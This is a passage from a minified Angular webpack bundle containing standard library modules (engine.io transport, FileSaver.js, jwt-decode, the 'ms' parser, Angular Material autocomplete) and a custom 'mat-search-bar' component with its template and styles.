this.opts.port&&("wss"===j&&443!==Number(this.opts.port)||"ws"===j&&80!==Number(this.opts.port))&&(U=":"+this.opts.port),this.opts.timestampRequests&&(H[this.opts.timestampParam]=u()),this.supportsBinary||(H.b64=1),H=s.encode(H),H.length&&(H="?"+H),j+"://"+(-1!==this.opts.hostname.indexOf(":")?"["+this.opts.hostname+"]":this.opts.hostname)+U+this.opts.path+H}check(){return!(!f||"__initialize"in f&&this.name===C.prototype.name)}}At.exports=C},5028:At=>{At.exports.pick=(ae,...d)=>d.reduce((n,a)=>(ae.hasOwnProperty(a)&&(n[a]=ae[a]),n),{})},3035:(At,ae,d)=>{const n=d(764),a=d(851);At.exports=function(s){const u=s.xdomain,c=s.xscheme,f=s.enablesXDR;try{if(typeof XMLHttpRequest<"u"&&(!u||n))return new XMLHttpRequest}catch{}try{if(typeof XDomainRequest<"u"&&!c&&f)return new XDomainRequest}catch{}if(!u)try{return new(a[["Active"].concat("Object").join("X")])("Microsoft.XMLHTTP")}catch{}}},7606:At=>{const ae=Object.create(null);ae.open="0",ae.close="1",ae.ping="2",ae.pong="3",ae.message="4",ae.upgrade="5",ae.noop="6";const d=Object.create(null);Object.keys(ae).forEach(a=>{d[ae[a]]=a}),At.exports={PACKET_TYPES:ae,PACKET_TYPES_REVERSE:d,ERROR_PACKET:{type:"error",data:"parser error"}}},3622:(At,ae,d)=>{const{PACKET_TYPES_REVERSE:n,ERROR_PACKET:a}=d(7606);let u;"function"==typeof ArrayBuffer&&(u=d(390));const f=(_,S)=>{if(u){const g=u.decode(_);return E(g,S)}return{base64:!0,data:_}},E=(_,S)=>"blob"===S&&_ instanceof ArrayBuffer?new Blob([_]):_;At.exports=(_,S)=>{if("string"!=typeof _)return{type:"message",data:E(_,S)};const g=_.charAt(0);return"b"===g?{type:"message",data:f(_.substring(1),S)}:n[g]?_.length>1?{type:n[g],data:_.substring(1)}:{type:n[g]}:a}},1e3:(At,ae,d)=>{const{PACKET_TYPES:n}=d(7606),a="function"==typeof Blob||typeof Blob<"u"&&"[object BlobConstructor]"===Object.prototype.toString.call(Blob),s="function"==typeof ArrayBuffer,f=(E,_)=>{const S=new FileReader;return S.onload=function(){const g=S.result.split(",")[1];_("b"+g)},S.readAsDataURL(E)};At.exports=({type:E,data:_},S,g)=>a&&_ instanceof Blob?S?g(_):f(_,g):s&&(_ instanceof ArrayBuffer||(E=>"function"==typeof ArrayBuffer.isView?ArrayBuffer.isView(E):E&&E.buffer instanceof ArrayBuffer)(_))?S?g(_):f(new Blob([_]),g):g(n[E]+(_||""))},1510:(At,ae,d)=>{const n=d(1e3),a=d(3622),s=String.fromCharCode(30);At.exports={protocol:4,encodePacket:n,encodePayload:(f,E)=>{const _=f.length,S=new Array(_);let g=0;f.forEach((C,z)=>{n(C,!1,H=>{S[z]=H,++g===_&&E(S.join(s))})})},decodePacket:a,decodePayload:(f,E)=>{const _=f.split(s),S=[];for(let g=0;g<_.length;g++){const C=a(_[g],E);if(S.push(C),"error"===C.type)break}return S}}},9441:function(At,ae){var d,a;void 0!==(a="function"==typeof(d=function(){"use strict";function u(g,C,z){var H=new XMLHttpRequest;H.open("GET",g),H.responseType="blob",H.onload=function(){S(H.response,C,z)},H.onerror=function(){console.error("could not download file")},H.send()}function c(g){var C=new XMLHttpRequest;C.open("HEAD",g,!1);try{C.send()}catch{}return 200<=C.status&&299>=C.status}function f(g){try{g.dispatchEvent(new MouseEvent("click"))}catch{var C=document.createEvent("MouseEvents");C.initMouseEvent("click",!0,!0,window,0,0,0,80,20,!1,!1,!1,!1,0,null),g.dispatchEvent(C)}}var E="object"==typeof window&&window.window===window?window:"object"==typeof self&&self.self===self?self:"object"==typeof global&&global.global===global?global:void 0,_=E.navigator&&/Macintosh/.test(navigator.userAgent)&&/AppleWebKit/.test(navigator.userAgent)&&!/Safari/.test(navigator.userAgent),S=E.saveAs||("object"!=typeof window||window!==E?function(){}:"download"in HTMLAnchorElement.prototype&&!_?function(g,C,z){var H=E.URL||E.webkitURL,j=document.createElement("a");j.download=C=C||g.name||"download",j.rel="noopener","string"==typeof g?(j.href=g,j.origin===location.origin?f(j):c(j.href)?u(g,C,z):f(j,j.target="_blank")):(j.href=H.createObjectURL(g),setTimeout(function(){H.revokeObjectURL(j.href)},4e4),setTimeout(function(){f(j)},0))}:"msSaveOrOpenBlob"in navigator?function(g,C,z){if(C=C||g.name||"download","string"!=typeof g)navigator.msSaveOrOpenBlob(function s(g,C){return typeof C>"u"?C={autoBom:!1}:"object"!=typeof C&&(console.warn("Deprecated: Expected third argument to be a object"),C={autoBom:!C}),C.autoBom&&/^\\s*(?:text\\/\\S*|application\\/xml|\\S*\\/\\S*\\+xml)\\s*;.*charset\\s*=\\s*utf-8/i.test(g.type)?new Blob(["\\ufeff",g],{type:g.type}):g}(g,z),C);else if(c(g))u(g,C,z);else{var H=document.createElement("a");H.href=g,H.target="_blank",setTimeout(function(){f(H)})}}:function(g,C,z,H){if((H=H||open("","_blank"))&&(H.document.title=H.document.body.innerText="downloading..."),"string"==typeof g)return u(g,C,z);var j="application/octet-stream"===g.type,U=/constructor/i.test(E.HTMLElement)||E.safari,G=/CriOS\\/[\\d]+/.test(navigator.userAgent);if((G||j&&U||_)&&typeof FileReader<"u"){var Q=new FileReader;Q.onloadend=function(){var k=Q.result;k=G?k:k.replace(/^data:[^;]*;/,"data:attachment/file;"),H?H.location.href=k:location=k,H=null},Q.readAsDataURL(g)}else{var oe=E.URL||E.webkitURL,Ce=oe.createObjectURL(g);H?H.location=Ce:location.href=Ce,H=null,setTimeout(function(){oe.revokeObjectURL(Ce)},4e4)}});E.saveAs=S.saveAs=S,At.exports=S})?d.apply(ae,[]):d)&&(At.exports=a)},764:At=>{try{At.exports=typeof XMLHttpRequest<"u"&&"withCredentials"in new XMLHttpRequest}catch{At.exports=!1}},3167:At=>{function d(a){this.message=a}(d.prototype=new Error).name="InvalidCharacterError",At.exports=typeof window<"u"&&window.atob&&window.atob.bind(window)||function n(a){var s=String(a).replace(/=+$/,"");if(s.length%4==1)throw new d("\'atob\' failed: The string to be decoded is not correctly encoded.");for(var c,f,u=0,E=0,_="";f=s.charAt(E++);~f&&(c=u%4?64*c+f:f,u++%4)?_+=String.fromCharCode(255&c>>(-2*u&6)):0)f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(f);return _}},6815:(At,ae,d)=>{var n=d(3167);At.exports=function(s){var u=s.replace(/-/g,"+").replace(/_/g,"/");switch(u.length%4){case 0:break;case 2:u+="==";break;case 3:u+="=";break;default:throw"Illegal base64url string!"}try{return function a(s){return decodeURIComponent(n(s).replace(/(.)/g,function(u,c){var f=c.charCodeAt(0).toString(16).toUpperCase();return f.length<2&&(f="0"+f),"%"+f}))}(u)}catch{return n(u)}}},491:(At,ae,d)=>{"use strict";var n=d(6815);function a(s){this.message=s}(a.prototype=new Error).name="InvalidTokenError",At.exports=function(s,u){if("string"!=typeof s)throw new a("Invalid token specified");var c=!0===(u=u||{}).header?0:1;try{return JSON.parse(n(s.split(".")[c]))}catch(f){throw new a("Invalid token specified: "+f.message)}},At.exports.InvalidTokenError=a},4366:At=>{var ae=1e3,d=6e4,n=60*d,a=24*n;function _(S,g,C,z){var H=g>=1.5*C;return Math.round(S/C)+" "+z+(H?"s":"")}At.exports=function(S,g){g=g||{};var C=typeof S;if("string"===C&&S.length>0)return function c(S){if(!((S=String(S)).length>100)){var g=/^(-?(?:\\d+)?\\.?\\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(S);if(g){var C=parseFloat(g[1]);switch((g[2]||"ms").toLowerCase()){case"years":case"year":case"yrs":case"yr":case"y":return 315576e5*C;case"weeks":case"week":case"w":return 6048e5*C;case"days":case"day":case"d":return C*a;case"hours":case"hour":case"hrs":case"hr":case"h":return C*n;case"minutes":case"minute":case"mins":case"min":case"m":return C*d;case"seconds":case"second":case"secs":case"sec":case"s":return C*ae;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return C;default:return}}}}(S);if("number"===C&&isFinite(S))return g.long?function E(S){var g=Math.abs(S);return g>=a?_(S,g,a,"day"):g>=n?_(S,g,n,"hour"):g>=d?_(S,g,d,"minute"):g>=ae?_(S,g,ae,"second"):S+" ms"}(S):function f(S){var g=Math.abs(S);return g>=a?Math.round(S/a)+"d":g>=n?Math.round(S/n)+"h":g>=d?Math.round(S/d)+"m":g>=ae?Math.round(S/ae)+"s":S+"ms"}(S);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(S))}},2855:(At,ae,d)=>{"use strict";d.d(ae,{PQ:()=>x,w5:()=>te});var n=d(1281),a=d(3353),s=d(4650),u=d(3238),c=d(2654),f=d(8929),E=d(8514),_=d(6787),S=d(1086),g=d(3753),C=d(6895),z=d(8184),H=d(7261),j=d(445),U=d(9521),G=d(4080),Q=d(4006),oe=d(9549),Ce=d(1059),k=d(7545),K=d(2986),se=d(2198),ee=d(4850),q=d(2868),we=d(8583);const Ye=new s.OlP("mat-autocomplete-default-options",{providedIn:"root",factory:function qe(){return{autoActiveFirstOption:!1,autoSelectActiveOption:!1}}}),De=new s.OlP("mat-autocomplete-scroll-strategy"),ve={provide:De,deps:[z.aV],useFactory:function re(m){return()=>m.scrollStrategies.reposition()}},We={provide:Q.JU,useExisting:(0,s.Gpc)(()=>pe),multi:!0};let Be=(()=>{class m{constructor(B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1,It){this._element=B,this._overlay=ie,this._viewContainerRef=Xe,this._zone=it,this._changeDetectorRef=wt,this._dir=Gt,this._formField=qt,this._document=u1,this._viewportRuler=c1,this._defaults=It,this._componentDestroyed=!1,this._autocompleteDisabled=!1,this._manuallyFloatingLabel=!1,this._viewportSubscription=c.w.EMPTY,this._canOpenOnNextFocus=!0,this._closeKeyEventStream=new f.xQ,this._windowBlurHandler=()=>{this._canOpenOnNextFocus=this._document.activeElement!==this._element.nativeElement||this.panelOpen},this._onChange=()=>{},this._onTouched=()=>{},this.position="auto",this.autocompleteAttribute="off",this._overlayAttached=!1,this.optionSelections=(0,E.P)(()=>{const _t=this.autocomplete?this.autocomplete.options:null;return _t?_t.changes.pipe((0,Ce.O)(_t),(0,k.w)(()=>(0,_.T)(..._t.map(kt=>kt.onSelectionChange)))):this._zone.onStable.pipe((0,K.q)(1),(0,k.w)(()=>this.optionSelections))}),this._scrollStrategy=Vt}get autocompleteDisabled(){return this._autocompleteDisabled}set autocompleteDisabled(B){this._autocompleteDisabled=(0,n.Ig)(B)}ngAfterViewInit(){const B=this._getWindow();typeof B<"u"&&this._zone.runOutsideAngular(()=>B.addEventListener("blur",this._windowBlurHandler))}ngOnChanges(B){B.position&&this._positionStrategy&&(this._setStrategyPositions(this._positionStrategy),this.panelOpen&&this._overlayRef.updatePosition())}ngOnDestroy(){const B=this._getWindow();typeof B<"u"&&B.removeEventListener("blur",this._windowBlurHandler),this._viewportSubscription.unsubscribe(),this._componentDestroyed=!0,this._destroyPanel(),this._closeKeyEventStream.complete()}get panelOpen(){return this._overlayAttached&&this.autocomplete.showPanel}openPanel(){this._attachOverlay(),this._floatLabel()}closePanel(){this._resetLabel(),this._overlayAttached&&(this.panelOpen&&this._zone.run(()=>{this.autocomplete.closed.emit()}),this.autocomplete._isOpen=this._overlayAttached=!1,this._pendingAutoselectedOption=null,this._overlayRef&&this._overlayRef.hasAttached()&&(this._overlayRef.detach(),this._closingActionsSubscription.unsubscribe()),this._componentDestroyed||this._changeDetectorRef.detectChanges())}updatePosition(){this._overlayAttached&&this._overlayRef.updatePosition()}get panelClosingActions(){return(0,_.T)(this.optionSelections,this.autocomplete._keyManager.tabOut.pipe((0,se.h)(()=>this._overlayAttached)),this._closeKeyEventStream,this._getOutsideClickStream(),this._overlayRef?this._overlayRef.detachments().pipe((0,se.h)(()=>this._overlayAttached)):(0,S.of)()).pipe((0,ee.U)(B=>B instanceof u.rN?B:null))}get activeOption(){return this.autocomplete&&this.autocomplete._keyManager?this.autocomplete._keyManager.activeItem:null}_getOutsideClickStream(){return(0,_.T)((0,g.R)(this._document,"click"),(0,g.R)(this._document,"auxclick"),(0,g.R)(this._document,"touchend")).pipe((0,se.h)(B=>{const ie=(0,a.sA)(B),Xe=this._formField?this._formField._elementRef.nativeElement:null,it=this.connectedTo?this.connectedTo.elementRef.nativeElement:null;return this._overlayAttached&&ie!==this._element.nativeElement&&this._document.activeElement!==this._element.nativeElement&&(!Xe||!Xe.contains(ie))&&(!it||!it.contains(ie))&&!!this._overlayRef&&!this._overlayRef.overlayElement.contains(ie)}))}writeValue(B){Promise.resolve(null).then(()=>this._assignOptionValue(B))}registerOnChange(B){this._onChange=B}registerOnTouched(B){this._onTouched=B}setDisabledState(B){this._element.nativeElement.disabled=B}_handleKeydown(B){const ie=B.keyCode,Xe=(0,U.Vb)(B);if(ie===U.hY&&!Xe&&B.preventDefault(),this.activeOption&&ie===U.K5&&this.panelOpen&&!Xe)this.activeOption._selectViaInteraction(),this._resetActiveItem(),B.preventDefault();else if(this.autocomplete){const it=this.autocomplete._keyManager.activeItem,wt=ie===U.LH||ie===U.JH;ie===U.Mf||wt&&!Xe&&this.panelOpen?this.autocomplete._keyManager.onKeydown(B):wt&&this._canOpen()&&this.openPanel(),(wt||this.autocomplete._keyManager.activeItem!==it)&&(this._scrollToOption(this.autocomplete._keyManager.activeItemIndex||0),this.autocomplete.autoSelectActiveOption&&this.activeOption&&(this._pendingAutoselectedOption||(this._valueBeforeAutoSelection=this._element.nativeElement.value),this._pendingAutoselectedOption=this.activeOption,this._assignOptionValue(this.activeOption.value)))}}_handleInput(B){let ie=B.target,Xe=ie.value;"number"===ie.type&&(Xe=""==Xe?null:parseFloat(Xe)),this._previousValue!==Xe&&(this._previousValue=Xe,this._pendingAutoselectedOption=null,this._onChange(Xe),this._canOpen()&&this._document.activeElement===B.target&&this.openPanel())}_handleFocus(){this._canOpenOnNextFocus?this._canOpen()&&(this._previousValue=this._element.nativeElement.value,this._attachOverlay(),this._floatLabel(!0)):this._canOpenOnNextFocus=!0}_handleClick(){this._canOpen()&&!this.panelOpen&&this.openPanel()}_floatLabel(B=!1){this._formField&&"auto"===this._formField.floatLabel&&(B?this._formField._animateAndLockLabel():this._formField.floatLabel="always",this._manuallyFloatingLabel=!0)}_resetLabel(){this._manuallyFloatingLabel&&(this._formField.floatLabel="auto",this._manuallyFloatingLabel=!1)}_subscribeToClosingActions(){const B=this._zone.onStable.pipe((0,K.q)(1)),ie=this.autocomplete.options.changes.pipe((0,q.b)(()=>this._positionStrategy.reapplyLastPosition()),(0,we.g)(0));return(0,_.T)(B,ie).pipe((0,k.w)(()=>(this._zone.run(()=>{const Xe=this.panelOpen;this._resetActiveItem(),this.autocomplete._setVisibility(),this._changeDetectorRef.detectChanges(),this.panelOpen&&this._overlayRef.updatePosition(),Xe!==this.panelOpen&&(this.panelOpen?this.autocomplete.opened.emit():this.autocomplete.closed.emit())}),this.panelClosingActions)),(0,K.q)(1)).subscribe(Xe=>this._setValueAndClose(Xe))}_destroyPanel(){this._overlayRef&&(this.closePanel(),this._overlayRef.dispose(),this._overlayRef=null)}_assignOptionValue(B){const ie=this.autocomplete&&this.autocomplete.displayWith?this.autocomplete.displayWith(B):B;this._updateNativeInputValue(ie??"")}_updateNativeInputValue(B){this._formField?this._formField._control.value=B:this._element.nativeElement.value=B,this._previousValue=B}_setValueAndClose(B){const ie=B?B.source:this._pendingAutoselectedOption;ie&&(this._clearPreviousSelectedOption(ie),this._assignOptionValue(ie.value),this._onChange(ie.value),this.autocomplete._emitSelectEvent(ie),this._element.nativeElement.focus()),this.closePanel()}_clearPreviousSelectedOption(B){this.autocomplete.options.forEach(ie=>{ie!==B&&ie.selected&&ie.deselect()})}_attachOverlay(){let B=this._overlayRef;B?(this._positionStrategy.setOrigin(this._getConnectedElement()),B.updateSize({width:this._getPanelWidth()})):(this._portal=new G.UE(this.autocomplete.template,this._viewContainerRef,{id:this._formField?.getLabelId()}),B=this._overlay.create(this._getOverlayConfig()),this._overlayRef=B,this._handleOverlayEvents(B),this._viewportSubscription=this._viewportRuler.change().subscribe(()=>{this.panelOpen&&B&&B.updateSize({width:this._getPanelWidth()})})),B&&!B.hasAttached()&&(B.attach(this._portal),this._closingActionsSubscription=this._subscribeToClosingActions());const ie=this.panelOpen;this.autocomplete._setVisibility(),this.autocomplete._isOpen=this._overlayAttached=!0,this.panelOpen&&ie!==this.panelOpen&&this.autocomplete.opened.emit()}_getOverlayConfig(){return new z.X_({positionStrategy:this._getOverlayPosition(),scrollStrategy:this._scrollStrategy(),width:this._getPanelWidth(),direction:this._dir,panelClass:this._defaults?.overlayPanelClass})}_getOverlayPosition(){const B=this._overlay.position().flexibleConnectedTo(this._getConnectedElement()).withFlexibleDimensions(!1).withPush(!1);return this._setStrategyPositions(B),this._positionStrategy=B,B}_setStrategyPositions(B){const ie=[{originX:"start",originY:"bottom",overlayX:"start",overlayY:"top"},{originX:"end",originY:"bottom",overlayX:"end",overlayY:"top"}],Xe=this._aboveClass,it=[{originX:"start",originY:"top",overlayX:"start",overlayY:"bottom",panelClass:Xe},{originX:"end",originY:"top",overlayX:"end",overlayY:"bottom",panelClass:Xe}];let wt;wt="above"===this.position?it:"below"===this.position?ie:[...ie,...it],B.withPositions(wt)}_getConnectedElement(){return this.connectedTo?this.connectedTo.elementRef:this._formField?this._formField.getConnectedOverlayOrigin():this._element}_getPanelWidth(){return this.autocomplete.panelWidth||this._getHostWidth()}_getHostWidth(){return this._getConnectedElement().nativeElement.getBoundingClientRect().width}_resetActiveItem(){const B=this.autocomplete;B.autoActiveFirstOption?B._keyManager.setFirstItemActive():B._keyManager.setActiveItem(-1)}_canOpen(){const B=this._element.nativeElement;return!B.readOnly&&!B.disabled&&!this._autocompleteDisabled}_getWindow(){return this._document?.defaultView||window}_scrollToOption(B){const ie=this.autocomplete,Xe=(0,u.CB)(B,ie.options,ie.optionGroups);if(0===B&&1===Xe)ie._setScrollTop(0);else if(ie.panel){const it=ie.options.toArray()[B];if(it){const wt=it._getHostElement(),Vt=(0,u.jH)(wt.offsetTop,wt.offsetHeight,ie._getScrollTop(),ie.panel.nativeElement.offsetHeight);ie._setScrollTop(Vt)}}}_handleOverlayEvents(B){B.keydownEvents().subscribe(ie=>{(ie.keyCode===U.hY&&!(0,U.Vb)(ie)||ie.keyCode===U.LH&&(0,U.Vb)(ie,"altKey"))&&(this._pendingAutoselectedOption&&(this._updateNativeInputValue(this._valueBeforeAutoSelection??""),this._pendingAutoselectedOption=null),this._closeKeyEventStream.next(),this._resetActiveItem(),ie.stopPropagation(),ie.preventDefault())}),B.outsidePointerEvents().subscribe()}}return m.\\u0275fac=function(B){return new(B||m)(s.Y36(s.SBq),s.Y36(z.aV),s.Y36(s.s_b),s.Y36(s.R0b),s.Y36(s.sBO),s.Y36(De),s.Y36(j.Is,8),s.Y36(oe.G_,9),s.Y36(C.K0,8),s.Y36(H.rL),s.Y36(Ye,8))},m.\\u0275dir=s.lG2({type:m,inputs:{autocomplete:["matAutocomplete","autocomplete"],position:["matAutocompletePosition","position"],connectedTo:["matAutocompleteConnectedTo","connectedTo"],autocompleteAttribute:["autocomplete","autocompleteAttribute"],autocompleteDisabled:["matAutocompleteDisabled","autocompleteDisabled"]},features:[s.TTD]}),m})(),pe=(()=>{class m extends Be{constructor(){super(...arguments),this._aboveClass="mat-autocomplete-panel-above"}}return m.\\u0275fac=function(){let b;return function(ie){return(b||(b=s.n5z(m)))(ie||m)}}(),m.\\u0275dir=s.lG2({type:m,selectors:[["input","matAutocomplete",""],["textarea","matAutocomplete",""]],hostAttrs:[1,"mat-autocomplete-trigger"],hostVars:7,hostBindings:function(B,ie){1&B&&s.NdJ("focusin",function(){return ie._handleFocus()})("blur",function(){return ie._onTouched()})("input",function(it){return ie._handleInput(it)})("keydown",function(it){return ie._handleKeydown(it)})("click",function(){return ie._handleClick()}),2&B&&s.uIk("autocomplete",ie.autocompleteAttribute)("role",ie.autocompleteDisabled?null:"combobox")("aria-autocomplete",ie.autocompleteDisabled?null:"list")("aria-activedescendant",ie.panelOpen&&ie.activeOption?ie.activeOption.id:null)("aria-expanded",ie.autocompleteDisabled?null:ie.panelOpen.toString())("aria-owns",ie.autocompleteDisabled||!ie.panelOpen||null==ie.autocomplete?null:ie.autocomplete.id)("aria-haspopup",ie.autocompleteDisabled?null:"listbox")},exportAs:["matAutocompleteTrigger"],features:[s._Bn([We]),s.qOj]}),m})(),P=(()=>{class m{}return m.\\u0275fac=function(B){return new(B||m)},m.\\u0275mod=s.oAB({type:m}),m.\\u0275inj=s.cJS({providers:[ve],imports:[z.U8,u.Ng,u.BQ,C.ez,H.ZD,u.Ng,u.BQ]}),m})();var w=d(7392),R=d(4144),X=d(7340);const _e=["input"];function ct(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",7,8),s.NdJ("ngModelChange",function(Xe){s.CHM(B);const it=s.oxw();return s.KtG(it.value=Xe)})("ngModelChange",function(){s.CHM(B);const Xe=s.oxw();return s.KtG(Xe.updateChanges())})("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("ngModel",B.value)("matAutocomplete",B.matAutocomplete)("placeholder",B.placeholder)}}function Je(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",9,8),s.NdJ("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("placeholder",B.placeholder)("formControl",B.formControl)}}function Et(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",10,8),s.NdJ("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("matAutocomplete",B.matAutocomplete)("placeholder",B.placeholder)("formControl",B.formControl)}}function Dt(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",11,8),s.NdJ("ngModelChange",function(Xe){s.CHM(B);const it=s.oxw();return s.KtG(it.value=Xe)})("ngModelChange",function(){s.CHM(B);const Xe=s.oxw();return s.KtG(Xe.updateChanges())})("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("ngModel",B.value)("placeholder",B.placeholder)}}let Pt=(()=>{class m{constructor(){this.onChange=B=>{},this.onTouched=()=>{}}updateChanges(){this.onChange(this.value)}writeValue(B){this.value=B,this.updateChanges()}registerOnChange(B){this.onChange=B}registerOnTouched(B){this.onTouched=B}}return m.\\u0275fac=function(B){return new(B||m)},m.\\u0275dir=s.lG2({type:m}),m})();var Ie=(()=>{return(m=Ie||(Ie={}))[m.SIMPLE=0]="SIMPLE",m[m.FORMCONTROL=1]="FORMCONTROL",m[m.AUTOCOMPLETE=2]="AUTOCOMPLETE",m[m.FORMCONTROLANDAUTOCOMPLETE=3]="FORMCONTROLANDAUTOCOMPLETE",Ie;var m})();let te=(()=>{class m extends Pt{constructor(){super(...arguments),this.DISPLAY_TYPE=Ie,this.appearance="standard",this.placeholder="",this.alwaysOpen=!1,this.onBlur=new s.vpe,this.onClose=new s.vpe,this.onEnter=new s.vpe,this.onFocus=new s.vpe,this.onOpen=new s.vpe,this.searchVisible=!1}ngOnInit(){this.formControl||this.matAutocomplete?this.formControl&&this.matAutocomplete?this.mode=Ie.FORMCONTROLANDAUTOCOMPLETE:this.formControl?this.mode=Ie.FORMCONTROL:this.matAutocomplete&&(this.mode=Ie.AUTOCOMPLETE):this.mode=Ie.SIMPLE,this.alwaysOpen&&(this.searchVisible=!0)}close(){this.alwaysOpen||(this.searchVisible=!1),this.value="",this.updateChanges(),this.onClose.emit()}open(){this.searchVisible=!0,this.inputElement.nativeElement.focus(),this.onOpen.emit()}onBlurring(B){!B&&!this.alwaysOpen&&(this.searchVisible=!1),this.onBlur.emit(B)}onEnterring(B){this.onEnter.emit(B)}onFocussing(B){this.onFocus.emit(B)}}return m.\\u0275fac=function(){let b;return function(ie){return(b||(b=s.n5z(m)))(ie||m)}}(),m.\\u0275cmp=s.Xpm({type:m,selectors:[["mat-search-bar"]],viewQuery:function(B,ie){if(1&B&&s.Gf(_e,5),2&B){let Xe;s.iGM(Xe=s.CRH())&&(ie.inputElement=Xe.first)}},inputs:{appearance:"appearance",placeholder:"placeholder",alwaysOpen:"alwaysOpen",formControl:"formControl",matAutocomplete:"matAutocomplete"},outputs:{onBlur:"onBlur",onClose:"onClose",onEnter:"onEnter",onFocus:"onFocus",onOpen:"onOpen"},features:[s._Bn([{provide:Q.JU,useExisting:(0,s.Gpc)(()=>m),multi:!0}]),s.qOj],decls:10,vars:6,consts:[[3,"ngSwitch"],["class","mat-search_field",3,"appearance",4,"ngSwitchCase"],["class","mat-search_field",3,"appearance",4,"ngSwitchDefault"],[1,"mat-search_icons"],["matRipple","",1,"mat-search_icon-close",3,"click"],["matRipple","",1,"mat-search_icon-search",3,"click"],[1,"mat-search_field",3,"appearance"],["matInput","","type","text","autocapitalize","none",3,"ngModel","matAutocomplete","placeholder","ngModelChange","blur","keyup.enter","focus"],["input",""],["matInput","","type","text","autocapitalize","none",3,"placeholder","formControl","blur","keyup.enter","focus"],["matInput","","type","text","autocapitalize","none",3,"matAutocomplete","placeholder","formControl","blur","keyup.enter","focus"],["matInput","","type","text","autocapitalize","none",3,"ngModel","placeholder","ngModelChange","blur","keyup.enter","focus"]],template:function(B,ie){1&B&&(s.ynx(0,0),s.YNc(1,ct,3,5,"mat-form-field",1),s.YNc(2,Je,3,4,"mat-form-field",1),s.YNc(3,Et,3,5,"mat-form-field",1),s.YNc(4,Dt,3,4,"mat-form-field",2),s.BQk(),s.TgZ(5,"span",3)(6,"mat-icon",4),s.NdJ("click",function(){return ie.close()}),s._uU(7," close "),s.qZA(),s.TgZ(8,"mat-icon",5),s.NdJ("click",function(){return ie.open()}),s._uU(9," search "),s.qZA()()),2&B&&(s.Q6J("ngSwitch",ie.mode),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.AUTOCOMPLETE),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.FORMCONTROL),s.xp6(1),s.Q6J("ngSwitchCase",ie.DISPLAY_TYPE.FORMCONTROLANDAUTOCOMPLETE),s.xp6(2),s.ekj("mat-search_icons--active",ie.searchVisible))},dependencies:[C.RF,C.n9,C.ED,Q.Fj,Q.JJ,Q.On,pe,w.Hw,oe.KE,R.Nt,u.wG,Q.oH],styles:["[_nghost-%COMP%]{position:relative;display:flex;flex-direction:row;align-items:center;justify-content:flex-end;width:24px;height:24px}.mat-search_field[_ngcontent-%COMP%]{position:absolute;z-index:1;padding:0 24px 0 0}.mat-search_icons[_ngcontent-%COMP%]{display:block;margin:0;padding:0;position:absolute;top:0;left:0}.mat-search_icons[_ngcontent-%COMP%]:hover{cursor:pointer}.mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%], .mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-search[_ngcontent-%COMP%]{transition:all .2s cubic-bezier(.4,0,.2,1);position:absolute;top:0;left:0;z-index:2;border-radius:50%}.mat-search_icons[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%], .mat-search_icons.mat-search_icons--active[_ngcontent-%COMP%] .mat-search_icon-search[_ngcontent-%COMP%]{opacity:0;transform:rotate(225deg)}.mat-search_icons.mat-search_icons--active[_ngcontent-%COMP%] .mat-search_icon-close[_ngcontent-%COMP%]{opacity:1;z-index:3;visibility:visible;transform:rotate(360deg)}"],data:{animation:[(0,X.X$)("slideInOut",[(0,X.SB)("true",(0,X.oB)({width:"*"})),(0,X.SB)("false",(0,X.oB)({width:"0"})),(0,X.eR)("true => false",(0,X.jt)("300ms ease-in")),(0,X.eR)("false => true",(0,X.jt)("300ms ease-out"))])]}}),m})(),x=(()=>{class m{}return m.\\u0275fac=function(B){return 